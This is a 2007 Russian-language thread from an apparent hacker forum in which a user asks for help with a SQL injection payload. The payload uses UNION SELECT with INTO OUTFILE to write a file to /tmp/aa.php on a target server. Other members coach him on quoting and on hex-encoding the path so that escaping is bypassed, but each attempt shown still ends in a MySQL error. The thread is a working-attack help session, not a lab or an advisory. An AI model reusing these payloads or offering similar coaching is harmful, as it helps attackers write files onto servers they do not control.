24.11.2007, 20:46
|
|
Новичок
Регистрация: 12.08.2006
Сообщений: 2
С нами:
10393582
Репутация:
0
|
|
Need help SQL inj
Вобщем при вводе такова кода в строку
Код:
-1+union+select+null,null,null,null,null,null,null,null,null,null,null,null,null,null,0x66726f6d205b2063617368205d207768697468206c6f7665202929292929,null,null,null,null+from+users+into+outfile(char(39)+/tmp/aa.php+char(39))/*
пишется
Код:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(char(39) /tmp/aa.php char(39))/*' at line 1
пробовал разные варианты, в чём суть то ошибки ? |
|
|
24.11.2007, 20:52
|
|
♠ ♦ ♣ ♥
Регистрация: 18.05.2006
Сообщений: 1,828
С нами:
10516826
Репутация:
3742
|
|
+into+outfile+'/tmp/aa.php'/*
__________________
Привет! Меня зовут Джордж, и я хотел бы рассказать вам про реинкарнацию (ц) 2x2
Последний раз редактировалось blackybr; 24.11.2007 в 20:56..
|
|
|
|
24.11.2007, 21:22
|
|
Новичок
Регистрация: 12.08.2006
Сообщений: 2
С нами:
10393582
Репутация:
0
|
|
Сообщение от blackybr
+into+outfile+'/tmp/aa.php'/*
Получил
Код:
the right syntax to use near '\'/tmp/aa.php\'/*' at line 1
|
|
|
|
24.11.2007, 21:28
|
|
Members of Antichat - Level 5
Регистрация: 02.11.2006
Сообщений: 781
С нами:
10274726
Репутация:
1917
|
|
не выйдет у тебя эта фигня, кавычки экранируются, в into outfile это не как не обойдешь
никакими чарами, никакими хексами
__________________
Карфаген должен быть разрушен...
|
|
|
|
24.11.2007, 22:54
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами:
10309346
Репутация:
4303
|
|
версию узнай
если >5 то можешь через хекс обойти
|
|
|
|
25.11.2007, 15:21
|
|
Новичок
Регистрация: 12.08.2006
Сообщений: 2
С нами:
10393582
Репутация:
0
|
|
Сообщение от Spyder
версию узнай
если >5 то можешь через хекс обойти
Как ?
Код:
5.0.38-Ubuntu_0ubuntu1
|
|
|
|
25.11.2007, 15:23
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
С нами:
10692266
Репутация:
3486
|
|
Сообщение от ExceLenT
Как ?
Код:
5.0.38-Ubuntu_0ubuntu1
/tmp/aa.php ==> 0x2f746d702f61612e706870
into+outfile+0x2f746d702f61612e706870
|
|
|
|
25.11.2007, 15:29
|
|
Новичок
Регистрация: 12.08.2006
Сообщений: 2
С нами:
10393582
Репутация:
0
|
|
Нифига
Код:
the right syntax to use near '0x2f746d702f61612e706870' at line 1
 |
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
